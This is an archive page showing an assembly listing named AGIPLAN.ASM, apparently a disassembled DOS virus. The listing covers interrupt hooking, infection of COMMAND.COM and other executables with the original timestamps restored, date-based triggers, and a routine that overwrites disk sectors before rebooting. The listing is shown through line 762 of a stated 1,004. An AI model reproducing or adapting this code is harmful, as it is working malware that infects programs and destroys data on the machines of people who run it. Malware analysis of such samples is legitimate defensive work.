home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / AGIPLAN.ASM < prev    next >
Assembly Source File  |  1991-02-04  |  26KB  |  1,004 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    AGIPLAN                         ██
  7. ;██                                         ██
  8. ;██      Created:   1-Sep-90                             ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    5           Analysis Options on: none             ██
  11. ;██                                         ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. movseg         macro reg16, unused, Imm16     ; Fixup for Assembler
  16.          ifidn    <reg16>, <bx>
  17.          db    0BBh
  18.          endif
  19.          ifidn    <reg16>, <cx>
  20.          db    0B9h
  21.          endif
  22.          ifidn    <reg16>, <dx>
  23.          db    0BAh
  24.          endif
  25.          ifidn    <reg16>, <si>
  26.          db    0BEh
  27.          endif
  28.          ifidn    <reg16>, <di>
  29.          db    0BFh
  30.          endif
  31.          ifidn    <reg16>, <bp>
  32.          db    0BDh
  33.          endif
  34.          ifidn    <reg16>, <sp>
  35.          db    0BCh
  36.          endif
  37.          ifidn    <reg16>, <BX>
  38.          db    0BBH
  39.          endif
  40.          ifidn    <reg16>, <CX>
  41.          db    0B9H
  42.          endif
  43.          ifidn    <reg16>, <DX>
  44.          db    0BAH
  45.          endif
  46.          ifidn    <reg16>, <SI>
  47.          db    0BEH
  48.          endif
  49.          ifidn    <reg16>, <DI>
  50.          db    0BFH
  51.          endif
  52.          ifidn    <reg16>, <BP>
  53.          db    0BDH
  54.          endif
  55.          ifidn    <reg16>, <SP>
  56.          db    0BCH
  57.          endif
  58.          dw    seg Imm16
  59. endm
  60. data_1e        equ    46Dh            ; (0000:046D=0B35h)
  61. data_2e        equ    600h            ; (0000:0600=54h)
  62. data_3e        equ    0Eh            ; (0A10:000E=1)
  63. data_4e        equ    1            ; (936D:0001=0FFFFh)
  64. data_5e        equ    0            ; (936E:0000=0)
  65. data_6e        equ    2            ; (936E:0002=0)
  66. data_7e        equ    12h            ; (936E:0012=0)
  67. data_8e        equ    14h            ; (936E:0014=936Eh)
  68. data_9e        equ    0F0h            ; (936E:00F0=0)
  69. data_10e    equ    0F6h            ; (936E:00F6=0)
  70. data_11e    equ    0FAh            ; (936E:00FA=0)
  71. data_12e    equ    0FEh            ; (936E:00FE=0)
  72. data_45e    equ    2Ch            ; (93CE:002C=0FFFFh)
  73. data_46e    equ    5B0h            ; (93CE:05B0=41h)
  74. data_47e    equ    600h            ; (93CE:0600=41h)
  75. data_48e    equ    1            ; (FFFE:0001=0)
  76.   
  77. seg_a        segment    byte public
  78.         assume    cs:seg_a, ds:seg_a
  79.   
  80.   
  81.         org    100h
  82.   
  83. agiplan        proc    far
  84.   
  85. start:
  86.         jmp    loc_43            ; (04CF)
  87. data_14        db    'ÉÉÉÉÉ£P1└.8&┌', 5, 'u', 7, 'X¥.', 0FFh
  88.         db    '.Φ', 5, 'â', 0FFh, 0
  89.         db     75h,0F4h, 58h
  90. data_15        db    9Dh
  91.         db    0B8h, 03h, 00h,0CFh, 90h, 90h
  92.         db     90h
  93. data_16        db    0
  94.         db     90h, 00h,0FFh,0FFh,0FFh,0FFh
  95.         db    0FFh
  96.   
  97. agiplan        endp
  98.   
  99. ;██████████████████████████████████████████████████████████████████████████
  100. ;
  101. ;            External Entry Point
  102. ;
  103. ;██████████████████████████████████████████████████████████████████████████
  104.   
  105. int_21h_entry    proc    far
  106.         pushf                ; Push flags
  107.         cmp    ah,4Eh            ; 'N'
  108.         jne    loc_4            ; Jump if not equal
  109.         jmp    short loc_8        ; (0154)
  110. loc_4:
  111.         cmp    ah,4Bh            ; 'K'
  112.         jne    loc_5            ; Jump if not equal
  113.         jmp    short loc_8        ; (0154)
  114. loc_5:
  115.         cmp    ah,0Eh
  116.         jne    loc_6            ; Jump if not equal
  117.         jmp    short loc_8        ; (0154)
  118. loc_6:
  119.         cmp    ah,40h            ; '@'
  120.         jne    loc_7            ; Jump if not equal
  121.         jmp    short loc_8        ; (0154)
  122. loc_7:
  123.         popf                ; Pop flags
  124.         jmp    dword ptr cs:data_35    ; (936E:05E4=138Dh)
  125.         db    90h
  126. loc_8:
  127.         cli                ; Disable interrupts
  128.         push    es
  129.         push    ds
  130.         push    di
  131.         push    si
  132.         push    bp
  133.         push    dx
  134.         push    cx
  135.         push    bx
  136.         push    ax
  137.         mov    cs:data_31,ss        ; (936E:05DB=0A10h)
  138.         mov    cs:data_32,sp        ; (936E:05DD=743h)
  139.         mov    al,0FFh
  140.         mov    cs:data_30,al        ; (936E:05DA=0FFh)
  141.         mov    ax,3524h
  142.         int    7Eh            ; ??INT Non-standard interrupt.
  143.         cmp    word ptr cs:data_37,bx    ; (936E:05E8=4EBh)
  144.         jne    loc_9            ; Jump if not equal
  145.         mov    ax,2524h
  146.         mov    dx,108h
  147.         push    cs
  148.         pop    ds
  149.         int    7Eh            ; ??INT Non-standard interrupt.
  150. loc_9:
  151.         sti                ; Enable interrupts
  152.         jmp    short loc_11        ; (01AA)
  153. loc_10:
  154.         cli                ; Disable interrupts
  155.         xor    ax,ax            ; Zero register
  156.         mov    cs:data_30,ah        ; (936E:05DA=0FFh)
  157.         mov    ss,cs:data_31        ; (936E:05DB=0A10h)
  158.         mov    sp,cs:data_32        ; (936E:05DD=743h)
  159.         pop    ax
  160.         pop    bx
  161.         pop    cx
  162.         pop    dx
  163.         pop    bp
  164.         pop    si
  165.         pop    di
  166.         pop    ds
  167.         pop    es
  168.         popf                ; Pop flags
  169.         sti                ; Enable interrupts
  170.         jmp    dword ptr cs:data_35    ; (936E:05E4=138Dh)
  171.         db    90h
  172. loc_11:
  173.         pop    ax
  174.         pop    bx
  175.         push    bx
  176.         push    ax
  177.         cmp    ah,4Bh            ; 'K'
  178.         je    loc_16            ; Jump if equal
  179.         cmp    ah,40h            ; '@'
  180.         jne    loc_12            ; Jump if not equal
  181.         jmp    short loc_15        ; (01CC)
  182. loc_12:
  183.         cmp    ah,0Eh
  184.         jne    loc_13            ; Jump if not equal
  185.         jmp    short loc_10        ; (0187)
  186. loc_13:
  187.         cmp    ah,4Eh            ; 'N'
  188.         jne    loc_10            ; Jump if not equal
  189.         jmp    short loc_10        ; (0187)
  190.         db    90h
  191. loc_14:
  192.         jmp    loc_23            ; (0283)
  193. loc_15:
  194.         mov    ax,0Fh
  195.         cmp    cs:data_29,al        ; (936E:05D9=0)
  196.         jb    loc_10            ; Jump if below
  197.         ja    loc_14            ; Jump if above
  198.         cmp    bx,4
  199.         jbe    loc_10            ; Jump if below or =
  200.         mov    bx,1
  201.         push    cs
  202.         pop    ds
  203.         add    ds:data_11e,bx        ; (936E:00FA=0)
  204.         mov    ah,2Ch            ; ','
  205.         int    7Eh            ; ??INT Non-standard interrupt.
  206.         cmp    dh,ds:data_11e        ; (936E:00FA=0)
  207.         ja    loc_10            ; Jump if above
  208.         mov    bx,data_3e        ; (0A10:000E=1)
  209.         add    bx,data_32        ; (936E:05DD=743h)
  210.         mov    ss:[bx],bx
  211.         jmp    short loc_10        ; (0187)
  212.         db     01h, 90h, 90h, 90h
  213. loc_16:
  214.         mov    cs:data_33,dx        ; (936E:05DF=3D7Bh)
  215.         mov    cs:data_34,ds        ; (936E:05E1=7B6Eh)
  216.         push    cs
  217.         pop    ds
  218.         mov    ah,2Ch            ; ','
  219.         int    7Eh            ; ??INT Non-standard interrupt.
  220.         cmp    dh,ds:data_12e        ; (936E:00FE=0)
  221.         jb    loc_17            ; Jump if below
  222.         jmp    loc_10            ; (0187)
  223. loc_17:
  224.         mov    dx,data_33        ; (936E:05DF=3D7Bh)
  225.         mov    ds,data_34        ; (936E:05E1=7B6Eh)
  226.         push    ax
  227.         mov    al,2Eh            ; '.'
  228.         cld                ; Clear direction
  229.         push    ds
  230.         push    dx
  231.         cli                ; Disable interrupts
  232.         mov    di,dx
  233.         push    ds
  234.         pop    es
  235.         mov    cx,20h
  236.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  237.         jnz    loc_20            ; Jump if not zero
  238.         push    cs
  239.         pop    ds
  240.         mov    si,offset data_21    ; (936E:05C8=43h)
  241.         mov    cx,3
  242.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  243.         jnz    loc_22            ; Jump if not zero
  244.         sub    di,0Bh
  245.         mov    si,offset data_20    ; (936E:05C0=43h)
  246.         mov    cx,0Bh
  247.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  248.         mov    dh,0FFh
  249.         mov    cs:data_16,dh        ; (936E:0128=0)
  250.         jz    loc_18            ; Jump if zero
  251.         xor    dx,dx            ; Zero register
  252.         mov    cs:data_16,dh        ; (936E:0128=0)
  253. loc_18:
  254.         add    sp,6
  255.         push    cs
  256.         pop    ds
  257. loc_19:
  258.         call    sub_2            ; (02C0)
  259. loc_20:
  260.         jmp    loc_10            ; (0187)
  261.         db     90h, 90h
  262. loc_21:
  263. ;*        jmp    loc_34            ;*(03E0)
  264.         db    0E9h, 76h, 01h
  265. loc_22:
  266.         add    sp,6
  267.         push    cs
  268.         pop    ds
  269.         mov    dx,5C0h
  270.         mov    data_33,dx        ; (936E:05DF=3D7Bh)
  271.         mov    data_34,ds        ; (936E:05E1=7B6Eh)
  272.         mov    dh,0FFh
  273.         mov    data_16,dh        ; (936E:0128=0)
  274.         jmp    short loc_19        ; (025F)
  275.         db    90h
  276. loc_23:
  277.         mov    cx,501h
  278.         mov    dx,100h
  279.         call    sub_1            ; (02A0)
  280.         mov    dx,101h
  281.         call    sub_1            ; (02A0)
  282.         mov    dx,380h
  283.         call    sub_1            ; (02A0)
  284.         mov    dx,381h
  285.         call    sub_1            ; (02A0)
  286.         int    19h            ; Bootstrap loader
  287. int_21h_entry    endp
  288.   
  289.   
  290. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  291. ;                   SUBROUTINE
  292. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  293.   
  294. sub_1        proc    near
  295.         push    dx
  296. loc_24:
  297.         mov    ax,309h
  298.         int    13h            ; Disk  dl=drive a  ah=func 03h
  299.                         ;  write sectors from mem es:bx
  300.         sub    dh,1
  301.         cmp    dh,0
  302.         jge    loc_24            ; Jump if > or =
  303.         pop    dx
  304.         push    dx
  305.         sub    cx,100h
  306.         cmp    cx,0
  307.         jge    loc_24            ; Jump if > or =
  308.         retn
  309. sub_1        endp
  310.   
  311.         db     90h, 90h, 90h
  312. loc_25:
  313.         jmp    loc_31            ; (03A3)
  314.   
  315. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  316. ;                   SUBROUTINE
  317. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  318.   
  319. sub_2        proc    near
  320.         mov    ah,48h            ; 'H'
  321.         mov    bx,0FFFh
  322.         int    7Eh            ; ??INT Non-standard interrupt.
  323.         jc    loc_21            ; Jump if carry Set
  324.         nop
  325.         mov    ds:data_11e,ax        ; (936E:00FA=0)
  326.         mov    dx,data_33        ; (936E:05DF=3D7Bh)
  327.         mov    ds,data_34        ; (936E:05E1=7B6Eh)
  328.         mov    ah,3Ah            ; ':'
  329.         mov    bx,dx
  330.         add    bx,1
  331.         cmp    ah,[bx]
  332.         mov    ah,0
  333.         jnz    loc_27            ; Jump if not zero
  334.         mov    bx,dx
  335.         mov    al,50h            ; 'P'
  336.         mov    ah,[bx]
  337.         cmp    ah,50h            ; 'P'
  338.         ja    loc_26            ; Jump if above
  339.         sub    ah,40h            ; '@'
  340.         jmp    short loc_27        ; (02F5)
  341. loc_26:
  342.         sub    ah,60h            ; '`'
  343. loc_27:
  344.         mov    dl,ah
  345.         mov    ah,36h            ; '6'
  346.         int    7Eh            ; ??INT Non-standard interrupt.
  347.         cmp    bx,9
  348.         jb    loc_25            ; Jump if below
  349.         mov    dx,cs:data_33        ; (936E:05DF=3D7Bh)
  350.         mov    ax,4300h
  351.         int    7Eh            ; ??INT Non-standard interrupt.
  352.         mov    cs:data_39,cx        ; (936E:05EC=20h)
  353.         mov    ax,4301h
  354.         xor    cx,cx            ; Zero register
  355.         int    7Eh            ; ??INT Non-standard interrupt.
  356.         nop
  357.         mov    ax,3D42h
  358.         int    7Eh            ; ??INT Non-standard interrupt.
  359.         jc    loc_25            ; Jump if carry Set
  360.         mov    bx,ax
  361.         mov    ah,3Fh            ; '?'
  362.         mov    cx,0FFFFh
  363.         mov    dx,600h
  364.         mov    ds,cs:data_11e        ; (936E:00FA=0)
  365.         int    7Eh            ; ??INT Non-standard interrupt.
  366.         jc    loc_30            ; Jump if carry Set
  367.         add    ax,600h
  368.         mov    cs:data_10e,ax        ; (936E:00F6=0)
  369.         cmp    ax,1000h
  370.         jb    loc_30            ; Jump if below
  371.         cmp    ax,0D000h
  372.         ja    loc_30            ; Jump if above
  373.         mov    si,offset ds:[100h]    ; (936E:0100=0E9h)
  374.         push    cs
  375.         pop    ds
  376.         xor    di,di            ; Zero register
  377.         mov    es,cs:data_11e        ; (936E:00FA=0)
  378.         mov    cx,2FFh
  379.         cld                ; Clear direction
  380.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  381.         push    es
  382.         pop    ds
  383.         xor    di,di            ; Zero register
  384.         mov    si,data_2e        ; (0000:0600=54h)
  385.         mov    cx,10h
  386.         repe    cmpsb            ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  387.         jz    loc_30            ; Jump if zero
  388.         mov    ah,cs:data_16        ; (936E:0128=0)
  389.         cmp    ah,0FFh
  390.         jne    loc_28            ; Jump if not equal
  391.         call    sub_3            ; (03C8)
  392.         jmp    short loc_29        ; (0377)
  393. loc_28:
  394.         mov    ax,9090h
  395.         mov    ds:data_1e,ax        ; (0000:046D=0B35h)
  396. loc_29:
  397.         nop
  398.         mov    ax,4200h
  399.         xor    cx,cx            ; Zero register
  400.         xor    dx,dx            ; Zero register
  401.         int    7Eh            ; ??INT Non-standard interrupt.
  402.         mov    ax,5700h
  403.         int    7Eh            ; ??INT Non-standard interrupt.
  404.         push    cx
  405.         push    dx
  406.         mov    ah,40h            ; '@'
  407.         mov    cx,cs:data_10e        ; (936E:00F6=0)
  408.         xor    dx,dx            ; Zero register
  409.         mov    ds,cs:data_11e        ; (936E:00FA=0)
  410.         int    7Eh            ; ??INT Non-standard interrupt.
  411.         pop    dx
  412.         pop    cx
  413.         mov    ax,5701h
  414.         int    7Eh            ; ??INT Non-standard interrupt.
  415. loc_30:
  416.         mov    ah,3Eh            ; '>'
  417.         int    7Eh            ; ??INT Non-standard interrupt.
  418. loc_31:
  419.         mov    cx,cs:data_39        ; (936E:05EC=20h)
  420.         mov    dx,cs:data_33        ; (936E:05DF=3D7Bh)
  421.         mov    ds,cs:data_34        ; (936E:05E1=7B6Eh)
  422.         mov    ax,4301h
  423. loc_32:
  424.         int    7Eh            ; ??INT Non-standard interrupt.
  425.         push    cs
  426.         pop    ds
  427.         mov    es,cs:data_11e        ; (936E:00FA=0)
  428.         mov    ah,49h            ; 'I'
  429.         int    7Eh            ; ??INT Non-standard interrupt.
  430.         retn
  431. sub_2        endp
  432.   
  433.         db     90h, 90h, 90h, 90h, 90h
  434.   
  435. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  436. ;                   SUBROUTINE
  437. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  438.   
  439. sub_3        proc    near
  440.         mov    ax,0D08Eh
  441.         mov    ds:data_1e,ax        ; (0000:046D=0B35h)
  442.         mov    di,data_2e        ; (0000:0600=54h)
  443.         mov    cx,3000h
  444.         mov    ax,0B8C9h
  445. loc_33:
  446.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  447.         cmp    ah,es:[di]
  448.         jne    loc_33            ; Jump if not equal
  449.         mov    dx,4200h
  450.         cmp    dx,es:[di+1]
  451.         jne    loc_33            ; Jump if not equal
  452.         mov    dh,0BAh
  453.         cmp    dh,es:[di-5]
  454.         jne    loc_33            ; Jump if not equal
  455.         cmp    cx,0
  456.         jne    loc_35            ; Jump if not equal
  457.         pop    dx
  458.         jmp    short loc_32        ; (03B5)
  459.         db    90h
  460. loc_35:
  461.         mov    dx,es:[di-4]
  462.         add    dx,600h
  463.         mov    es:[di-4],dx
  464.         retn
  465. sub_3        endp
  466.   
  467.         db    11 dup (90h)
  468.   
  469. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  470. ;                   SUBROUTINE
  471. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  472.   
  473. sub_4        proc    near
  474.         mov    ax,4A00h
  475.         mov    bx,5Fh
  476.         int    21h            ; DOS Services  ah=function 4Ah
  477.                         ;  change mem allocation, bx=siz
  478.         mov    bx,cs
  479.         sub    bx,1
  480.         mov    ds,bx
  481.         mov    ax,0FFFFh
  482.         mov    ds:data_4e,ax        ; (936D:0001=0FFFFh)
  483.         push    cs
  484.         pop    ds
  485.         mov    ax,4800h
  486.         mov    bx,0FFFFh
  487.         int    21h            ; DOS Services  ah=function 48h
  488.                         ;  allocate memory, bx=bytes/16
  489.         mov    ax,4800h
  490.         int    21h            ; DOS Services  ah=function 48h
  491.                         ;  allocate memory, bx=bytes/16
  492.         retn
  493. sub_4        endp
  494.   
  495.         db    0CBh
  496.         db    26 dup (90h)
  497.   
  498. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  499. ;                   SUBROUTINE
  500. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  501.   
  502. sub_5        proc    near
  503.         mov    cx,10h
  504.         mov    si,offset data_15    ; (936E:0120=9Dh)
  505.         mov    di,data_9e        ; (936E:00F0=0)
  506.         cld                ; Clear direction
  507.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  508.         mov    ah,2Ah            ; '*'
  509.         int    21h            ; DOS Services  ah=function 2Ah
  510.                         ;  get date, cx=year, dx=mon/day
  511.         cmp    cx,data_25        ; (936E:05D1=7BCh)
  512.         ja    loc_38            ; Jump if above
  513.         jc    loc_36            ; Jump if carry Set
  514.         cmp    dx,data_26        ; (936E:05D3=701h)
  515.         ja    loc_38            ; Jump if above
  516. loc_36:
  517.         cmp    cx,data_27        ; (936E:05D5=7BCh)
  518.         ja    loc_39            ; Jump if above
  519.         jc    loc_37            ; Jump if carry Set
  520.         cmp    dx,data_28        ; (936E:05D7=501h)
  521.         ja    loc_39            ; Jump if above
  522. loc_37:
  523.         mov    ax,0
  524.         jmp    short loc_40        ; (0487)
  525. loc_38:
  526.         or    ax,0F0h
  527. loc_39:
  528.         or    ax,0Fh
  529. loc_40:
  530.         mov    data_29,al        ; (936E:05D9=0)
  531.         push    dx
  532.         push    cx
  533.         xor    bx,bx            ; Zero register
  534.         call    sub_6            ; (04A5)
  535.         pop    cx
  536.         pop    dx
  537.         mov    bx,data_6e        ; (936E:0002=0)
  538.         call    sub_6            ; (04A5)
  539.         mov    ah,1
  540.         add    data_22,ah        ; (936E:05CC=14h)
  541.         nop
  542.         retn
  543. sub_5        endp
  544.   
  545.         db     90h, 90h, 90h, 90h
  546.   
  547. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  548. ;                   SUBROUTINE
  549. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  550.   
  551. sub_6        proc    near
  552.         add    dl,data_24[bx]        ; (936E:05CE=0)
  553.         cmp    dl,20h            ; ' '
  554.         jbe    loc_41            ; Jump if below or =
  555.         add    dh,1
  556.         sub    dl,20h            ; ' '
  557. loc_41:
  558.         add    dh,data_23[bx]        ; (936E:05CD=6)
  559.         cmp    dh,0Bh
  560.         jbe    loc_42            ; Jump if below or =
  561.         sub    dh,0Bh
  562.         add    cx,1
  563. loc_42:
  564.         add    bx,bx
  565.         nop
  566.         mov    data_26[bx],dx        ; (936E:05D3=701h)
  567.         mov    data_25[bx],cx        ; (936E:05D1=7BCh)
  568.         retn
  569. sub_6        endp
  570.   
  571. loc_43:
  572.         push    ax
  573.         mov    al,3Fh            ; '?'
  574.         mov    dx,70h
  575.         out    dx,al            ; port 70h, RTC addr/enabl NMI
  576.         mov    dx,71h
  577.         in    al,dx            ; port 71h, RTC clock/RAM data
  578.         cmp    al,0F0h
  579.         jbe    loc_44            ; Jump if below or =
  580.         jmp    loc_47            ; (057B)
  581. loc_44:
  582.         mov    ax,357Fh
  583.         int    21h            ; DOS Services  ah=function 35h
  584.                         ;  get intrpt vector al in es:bx
  585.         mov    ax,ds
  586.         mov    es,ax
  587.         cmp    bx,0FFFFh
  588.         jne    loc_45            ; Jump if not equal
  589.         jmp    loc_48            ; (0582)
  590. loc_45:
  591.         mov    dx,0FFFFh
  592.         mov    ax,257Fh
  593.         int    21h            ; DOS Services  ah=function 25h
  594.                         ;  set intrpt vector al to ds:dx
  595.         mov    ax,3521h
  596.         int    21h            ; DOS Services  ah=function 35h
  597.                         ;  get intrpt vector al in es:bx
  598.         mov    word ptr data_35,bx    ; (936E:05E4=138Dh)
  599.         mov    word ptr data_35+2,es    ; (936E:05E6=28Ch)
  600.         mov    ax,es
  601.         mov    ds,ax
  602.         mov    dx,bx
  603.         mov    ax,257Eh
  604.         int    21h            ; DOS Services  ah=function 25h
  605.                         ;  set intrpt vector al to ds:dx
  606.         mov    ax,cs
  607.         mov    es,ax
  608.         mov    ds,ax
  609.         mov    dx,offset int_21h_entry
  610.         mov    ax,2521h
  611.         int    21h            ; DOS Services  ah=function 25h
  612.                         ;  set intrpt vector al to ds:dx
  613.         mov    ax,3524h
  614.         int    21h            ; DOS Services  ah=function 35h
  615.                         ;  get intrpt vector al in es:bx
  616.         mov    word ptr data_37,bx    ; (936E:05E8=4EBh)
  617.         mov    word ptr data_37+2,es    ; (936E:05EA=0A10h)
  618.         mov    ax,es
  619.         mov    ds,ax
  620.         mov    dx,bx
  621.         mov    ax,25FDh
  622.         int    21h            ; DOS Services  ah=function 25h
  623.                         ;  set intrpt vector al to ds:dx
  624.         mov    ax,cs
  625.         mov    es,ax
  626.         mov    ds,ax
  627.         mov    dx,offset int_24h_entry
  628.         mov    ax,2524h
  629.         mov    ds:data_7e,dx        ; (936E:0012=0)
  630.         mov    ds:data_8e,ds        ; (936E:0014=936Eh)
  631.         int    21h            ; DOS Services  ah=function 25h
  632.                         ;  set intrpt vector al to ds:dx
  633.         call    sub_5            ; (0450)
  634.         call    sub_4            ; (0410)
  635.         nop
  636.         nop
  637.         nop
  638.         nop
  639.         nop
  640. loc_46:
  641.         mov    cx,80h
  642.         mov    di,data_47e        ; (93CE:0600=41h)
  643.         mov    si,data_5e        ; (936E:0000=0)
  644.         cld                ; Clear direction
  645.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  646.         mov    ax,ds
  647.         add    ax,60h
  648.         mov    word ptr ds:[579h],ax    ; (936E:0579=0E64h)
  649.         nop
  650.         nop
  651.         mov    es,ax
  652.         mov    ds,ax
  653.         pop    ax
  654.         nop
  655.         nop
  656. ;*        jmp    far ptr loc_1        ;*(0E64:0100)
  657.         db    0EAh, 00h, 01h, 64h, 0Eh
  658. loc_47:
  659.         mov    dx,data_46e        ; (93CE:05B0=41h)
  660.         mov    ah,9
  661.         int    21h            ; DOS Services  ah=function 09h
  662.                         ;  display char string at ds:dx
  663. loc_48:
  664.         mov    ax,4A00h
  665.         mov    bx,5Fh
  666.         int    21h            ; DOS Services  ah=function 4Ah
  667.                         ;  change mem allocation, bx=siz
  668.         mov    bx,ds:data_45e        ; (93CE:002C=0FFFFh)
  669.         sub    bx,1
  670.         xor    ax,ax            ; Zero register
  671.         mov    ds,bx
  672.         mov    ds:data_48e,ax        ; (FFFE:0001=0)
  673.         mov    bx,cs
  674.         add    bx,60h
  675.         mov    dx,cs
  676.         sub    dx,1
  677.         mov    ds,dx
  678.         mov    ds:data_4e,bx        ; (936D:0001=0FFFFh)
  679.         mov    ah,50h            ; 'P'
  680.         int    21h            ; DOS Services  ah=function 50h
  681.                         ;  set active PSP segmnt from bx
  682.         push    cs
  683.         pop    ds
  684.         jmp    short loc_46        ; (0559)
  685.         db    'load error', 0Dh, 0Ah, '$'
  686.         db    0Ah, '$'
  687.         db    0
  688. data_20        db    'COMMAND.'
  689. data_21        db    43h
  690.         db     4Fh, 4Dh, 00h
  691. data_22        db    14h
  692. data_23        db    6            ; Data table (indexed access)
  693. data_24        db    0            ; Data table (indexed access)
  694.         db    4, 0
  695. data_25        dw    7BCh            ; Data table (indexed access)
  696. data_26        dw    701h            ; Data table (indexed access)
  697. data_27        dw    7BCh
  698. data_28        dw    501h
  699. data_29        db    0
  700. data_30        db    0FFh
  701. data_31        dw    0A10h
  702. data_32        dw    743h
  703. data_33        dw    3D7Bh
  704. data_34        dw    7B6Eh
  705.         db    90h
  706. data_35        dd    28C138Dh
  707. data_37        dd    0A1004EBh
  708. data_39        dw    20h
  709.         db     90h, 90h, 4Dh, 10h, 0Ah,0FFh
  710.         db     0Fh
  711.         db    11 dup (90h)
  712.         db    0E9h,0CCh, 03h, 90h, 90h, 90h
  713.         db     90h, 90h, 9Ch, 50h, 31h,0C0h
  714.         db     2Eh, 38h, 26h,0DAh, 05h, 75h
  715.         db     07h
  716. loc_49:
  717.         pop    ax
  718.         popf                ; Pop flags
  719.         jmp    cs:data_37        ; (936E:05E8=4EBh)
  720.         cmp    di,0
  721.         jne    loc_49            ; Jump if not equal
  722.         pop    ax
  723.         popf                ; Pop flags
  724.         mov    ax,3
  725.         iret                ; Interrupt return
  726.         db     90h, 90h, 90h, 00h, 90h, 00h
  727.         db    0FFh,0FFh,0FFh,0FFh,0FFh, 9Ch
  728.         db     80h,0FCh, 4Eh, 75h, 02h,0EBh
  729.         db     1Ch, 80h,0FCh, 4Bh, 75h, 02h
  730.         db    0EBh, 15h
  731. loc_50:
  732.         cmp    ah,0Eh
  733.         jne    loc_51            ; Jump if not equal
  734.         jmp    short loc_53        ; (0654)
  735. loc_51:
  736.         cmp    ah,40h            ; '@'
  737.         jne    loc_52            ; Jump if not equal
  738.         jmp    short loc_53        ; (0654)
  739. loc_52:
  740.         popf                ; Pop flags
  741.         jmp    cs:data_35        ; (936E:05E4=138Dh)
  742.         db    90h
  743. loc_53:
  744.         cli                ; Disable interrupts
  745.         push    es
  746.         push    ds
  747.         push    di
  748.         push    si
  749.         push    bp
  750.         push    dx
  751.         push    cx
  752.         push    bx
  753.         push    ax
  754.         mov    cs:data_31,ss        ; (936E:05DB=0A10h)
  755.         mov    cs:data_32,sp        ; (936E:05DD=743h)
  756.         mov    al,0FFh
  757.         mov    cs:data_30,al        ; (936E:05DA=0FFh)
  758.         mov    ax,3524h
  759.         int    7Eh            ; ??INT Non-standard interrupt.
  760.         cmp    word ptr cs:data_37,bx    ; (936E:05E8=4EBh)
  761.         jne    loc_54            ; Jump if not equal
  762.         mov    ax,2524h
